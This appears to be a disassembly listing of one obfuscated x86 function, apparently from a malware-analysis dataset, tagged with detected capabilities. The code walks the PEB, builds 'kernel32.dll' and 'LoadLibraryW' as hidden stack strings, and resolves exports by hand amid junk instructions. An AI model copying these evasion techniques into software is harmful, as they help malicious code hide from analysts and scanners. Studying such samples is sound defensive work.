Function at 0x405609
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
sub edx, 0x48f5
call 0x40527d
add byte [edi], dh
dec eax
inc esp
dec eax
inc ebx
inc esi
inc edx
cmp al, byte [ebx - 0x1d7efb3c]
xchg ebx, eax
xor al, 1
add byte [edx + 0x53], bl
or ebx, 0xf2f7
call 0x40529d
add byte [eax + 0x36], cl
inc ebx
dec ebp
cmp al, 0x48
inc edx
inc esi
inc esi
add esp, 4
and ebx, 0x8741
pop ebx
push ecx
push ecx
add esp, 4
sub ecx, 0x135f6
and ecx, 0xa922
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ebx
jmp 0x4052eb
xor ebx, 0x809c
add ebx, 0x12f8f
xor ebx, 0x102f
pop ebx
push eax
push esi
add esp, 4
jmp 0x40530c
xor eax, 0x17739
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x40532b
mov dword [ebp - 0x2e0], 0
jmp 0x4055e7
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ecx
push esi
add esp, 4
call 0x405350
add byte [edx + 0x4a], al
push eax
aas
dec esi
cmp al, 0x40
aas
add esp, 4
call 0x40535f
add byte [esi + 0x44], al
inc esi
inc eax
dec ecx
push eax
add esp, 4
or ecx, 0x115fb
xor ecx, 0x543
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x405387
mov dword [ebp - 0x2e0], 0
jmp 0x4055e7
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edx
push edx
add esp, 4
xor edx, 0xfbe3
sub edx, 0x9dc8
or edx, 0xc2e
add edx, 0x10343
pop edx
push eax
and eax, 0x16fb7
xor eax, 0xf304
sub eax, 0x10059
pop eax
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edi
and edi, 0x15140
pop edi
push ebx
push ecx
add esp, 4
xor ebx, 0x9bc6
pop ebx
push edx
push eax
add esp, 4
add edx, 0x10980
xor edx, 0x1026
sub edx, 0x13257
xor edx, 0x58dd
pop edx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push eax
call 0x40548b
add byte [ecx], bh
xor al, 0x39
xor al, 0x45
inc ebx
add esp, 4
sub eax, 0x681a
jmp 0x40549c
jmp 0x4054a3
pop eax
push eax
push ecx
add esp, 4
xor eax, 0x2e38
pop eax
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x4054d3
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x405536
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4053f2
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4053f2
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x405520
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x40552a
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x40557f
push ecx
push esi
add esp, 4
xor ecx, 0x355a
jmp 0x405552
xor ecx, 0xe0b0
and ecx, 0x130d7
pop ecx
push ebx
push eax
add esp, 4
jmp 0x40556a
sub ebx, 0x7b17
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x4055e7
push ebx
and ebx, 0x878f
pop ebx
push eax
push edi
add esp, 4
add eax, 0x178aa
sub eax, 0x10a36
pop eax
push edx
push ebx
add esp, 4
and edx, 0xa89e
xor edx, 0xea92
or edx, 0x10370
pop edx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x4055dd
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x405393
mov dword [ebp - 0x2e0], 0
push ecx
push edx
add esp, 4
and ecx, 0x8c69
add ecx, 0x859
pop ecx
push edx
call 0x405609
add byte [esi + 0x44], al
inc edx
aas
dec esp
cmp al, 0x32
dec edi
dec ebx
add esp, 4
xor edx, 0x2c3d
sub edx, 0x6cb5
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x405f32
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
push edx
add esp, 4
sub ecx, 0xf701
or ecx, 0x774d
add ecx, 0xb2f8
pop ecx
push esi
xor esi, 0x16c1
or esi, 0xd2d1
sub esi, 0xb266
and esi, 0x96bd
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
jmp 0x40577a
sub esi, 0x17397
and esi, 0xa332
or esi, 0x17a26
pop esi
push ebx
push esi
add esp, 4
add ebx, 0x31aa
or ebx, 0x3a03
and ebx, 0xbb5
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x4057bd
mov dword [ebp - 0x6ec], 0
jmp 0x405a79
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edi
sub edi, 0x9d5c
pop edi
push ecx
and ecx, 0x51f8
and ecx, 0x9125
and ecx, 0x122e1
or ecx, 0xbf1
pop ecx
push edx
add edx, 0x11a31
pop edx
push esi
or esi, 0xd0fd
pop esi
cmp dword [ebp - 0xc2c], 0
jne 0x405819
mov dword [ebp - 0x6ec], 0
jmp 0x405a79
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push esi
push eax
add esp, 4
jmp 0x40582f
jmp 0x405834
pop esi
push ecx
add ecx, 0xe6f2
xor ecx, 0x38db
pop ecx
push esi
and esi, 0x27cf
and esi, 0x173ba
sub esi, 0xc7f9
pop esi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push esi
push esi
add esp, 4
xor esi, 0x154ee
pop esi
push ebx
push eax
add esp, 4
and ebx, 0x155c6
pop ebx
push ecx
push ecx
add esp, 4
add ecx, 0xbacb
and ecx, 0x8ff1
pop ecx
push ecx
sub ecx, 0x1681
pop ecx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push eax
push edi
add esp, 4
xor eax, 0x2dc7
pop eax
push ebx
push edx
add esp, 4
and ebx, 0x8323
pop ebx
push edx
push edi
add esp, 4
add edx, 0x161c6
pop edx
push edx
sub edx, 0x9e7
sub edx, 0x11bbb
pop edx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x405965
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x4059c8
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x405884
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x405884
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x4059b2
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x4059bc
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x405a11
push eax
or eax, 0x4b1c
sub eax, 0x5a52
xor eax, 0x206f
pop eax
push eax
push ebx
add esp, 4
sub eax, 0x11733
and eax, 0x5018
sub eax, 0x14d42
xor eax, 0xbaf0
pop eax
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x405a79
push eax
xor eax, 0xe54a
call 0x405a27
add byte [ebx], dh
inc esi
cmp eax, 0x35483539
dec ebp
aaa
add esp, 4
or eax, 0x11ce6
and eax, 0x178cf
pop eax
push esi
push eax
add esp, 4
and esi, 0x92d4
pop esi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x405a6f
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x405825
mov dword [ebp - 0x6ec], 0
push eax
push ebx
add esp, 4
add eax, 0x40ba
and eax, 0x16cbd
or eax, 0x17171
pop eax
push eax
and eax, 0x13767
jmp 0x405a9e
and eax, 0x13767
sub eax, 0xb97c
pop eax
cmp dword [ebp - 0x6ec], 0
jne 0x405af5
push edi
push ebx
add esp, 4
jmp 0x405ac1
xor edi, 0x129ac
pop edi
push esi
push ecx
add esp, 4
xor esi, 0x11c07
or esi, 0x276f
and esi, 0x11313
sub esi, 0x1147b
pop esi
mov dword [ebp - 0x738], 0
jmp 0x40661c
push edi
call 0x405b02
add byte [ebx + 0x46], cl
aas
dec edx
cmp ecx, dword [ebx - 0x7d]
les eax, [ebx + ebp*8]
add eax, 0x3e4f4a3d
and edi, 0x9ca8
pop edi
push eax
or eax, 0xd948
or eax, 0x16c62
add eax, 0xea24
pop eax
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x405b66
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x405e57
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x405b8e
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x405e57
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x405bc0
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x405e57
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x405be5
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x405e57
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x405c3f
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x405e4b
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x405caf
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x405d61
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x405d61
push esi
xor esi, 0x12178
and esi, 0x17468
call 0x405cf7
add byte [edx], dh
dec esp
cmp eax, 0x44354644
cmp eax, dword [ebx + 0x565e04c4]
push edi
add esp, 4
and esi, 0x6334
jmp 0x405d0d
pop esi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x405d53
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x405d5a
jmp 0x405ca0
jmp 0x405d61
push eax
push ecx
add esp, 4
sub eax, 0x1383c
sub eax, 0x118ad
pop eax
push edi
push ecx
add esp, 4
call 0x405d88
add byte [edx + edi + 0x37], al
dec edx
dec edx
dec ebx
dec ecx
inc ebp
push eax
add esp, 4
pop edi
push ecx
jmp 0x405d92
pop ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x405dc0
mov dword [ebp - 0xc30], 0
jmp 0x405e2f
push ebx
push eax
add esp, 4
or ebx, 0x7a56
call 0x405ddb
add byte [edi], bh
dec ebx
inc esi
cmp byte [ebp + 0x4c], cl
cmp cl, byte [ebp + 0x32]
add esp, 4
call 0x405dee
add byte [edi], bh
xor edx, dword [eax + 0x3e]
xor al, 0x4b
inc ebp
cmp eax, 0xc4834f50
add al, 0x5b
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x405e25
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x405e2f
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x405e46
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x405e57
jmp 0x405c30
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x405f32
push eax
or eax, 0xaf03
add eax, 0x111fb
or eax, 0x7bcd
call 0x405e84
add byte [ecx + eax*2], dh
xor eax, 0x5033393e
add esp, 4
pop eax
push esi
push eax
add esp, 4
jmp 0x405e95
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push ebx
or ebx, 0xe8a7
jmp 0x405eb0
sub ebx, 0x11d00
jmp 0x405ebf
pop ebx
push esi
and esi, 0xeca3
and esi, 0xf8d4
sub esi, 0x10045
pop esi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x405f32
push edi
call 0x405f02
add byte [esi], dh
inc ecx
dec esi
dec esp
cmp eax, 0x3a3c4e4c
dec edx
add esp, 4
and edi, 0x8822
pop edi
push eax
xor eax, 0x702a
call 0x405f1f
add byte [edx + 0x4a], cl
dec ebx
dec esi
inc ebx
dec edx
add esp, 4
pop eax
mov dword [ebp - 0x738], 0
jmp 0x40661c
push edi
add edi, 0x14ac5
or edi, 0xf89d
or edi, 0x164bc
xor edi, 0xc82
pop edi
push ecx
push esi
add esp, 4
sub ecx, 0x15e24
xor ecx, 0xc13b
or ecx, 0x5f3f
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edi
push ecx
add esp, 4
or edi, 0xd249
and edi, 0x8a0f
jmp 0x405fa2
pop edi
push esi
sub esi, 0x1bb1
pop esi
push edi
push edx
add esp, 4
add edi, 0x5782
or edi, 0x8772
pop edi
cmp dword [ebp - 0x14f4], 0
jne 0x405fd5
mov dword [ebp - 0x2e0], 0
jmp 0x40627c
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edx
push esi
add esp, 4
xor edx, 0x579
pop edx
push edx
push eax
add esp, 4
and edx, 0x1d61
add edx, 0xf129
xor edx, 0xdc6c
pop edx
push edi
add edi, 0xfbb5
or edi, 0x99b5
pop edi
cmp dword [ebp - 0xc3c], 0
jne 0x406031
mov dword [ebp - 0x2e0], 0
jmp 0x40627c
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ecx
push ecx
add esp, 4
or ecx, 0x2368
pop ecx
push ecx
push edi
add esp, 4
add ecx, 0x1643e
jmp 0x40605a
add ecx, 0x2511
sub ecx, 0x8a61
pop ecx
push edi
sub edi, 0x13587
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ecx
or ecx, 0x582c
call 0x4060af
add byte [esi], bh
cmp eax, dword [ebx + 0x4e]
dec ebx
cmp ecx, dword [edi + esi + 0x3f]
add esp, 4
call 0x4060c1
add byte [ecx], bh
cmp dh, byte [edx]
push eax
cmp esi, dword [0x83464c32]
les eax, [ebx + ebp*8]
add al, 0x39
cmp byte [esp + esi + 0x59], cl
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push ebx
xor ebx, 0x10f45
xor ebx, 0x1287a
or ebx, 0x7508
pop ebx
push ecx
push ecx
add esp, 4
and ecx, 0x173e7
or ecx, 0xf988
add ecx, 0x423
sub ecx, 0x638
pop ecx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x406171
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x4061cb
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x406099
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x406099
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x4061b5
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x4061bf
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x406214
push edx
push edi
add esp, 4
and edx, 0xad38
and edx, 0xcb0c
and edx, 0x6060
pop edx
push edi
push ebx
add esp, 4
add edi, 0xaaf9
sub edi, 0x13ea8
pop edi
push edi
sub edi, 0xc396
pop edi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x40627c
push edi
sub edi, 0x17419
add edi, 0x15a4c
pop edi
push edx
push esi
add esp, 4
xor edx, 0x17b11
pop edx
push ecx
push edi
add esp, 4
add ecx, 0xcf8
sub ecx, 0x8e8a
add ecx, 0xdad2
pop ecx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x406272
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x40603d
mov dword [ebp - 0x2e0], 0
push esi
push edx
add esp, 4
or esi, 0x11058
add esi, 0xb684
pop esi
push ecx
push ebx
add esp, 4
sub ecx, 0x11fb3
jmp 0x40629f
jmp 0x4062a7
or ecx, 0xfb04
pop ecx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ecx
xor ecx, 0x14fbd
jmp 0x4062ca
and ecx, 0xb264
pop ecx
push eax
push ebx
add esp, 4
and eax, 0xe4f
jmp 0x4062e1
pop eax
push ecx
or ecx, 0xc9ed
jmp 0x4062ee
pop ecx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x40631f
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x406610
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x406347
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x406610
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x406379
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x406610
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x40639e
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x406610
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x4063f8
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x406604
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
invalid
invalid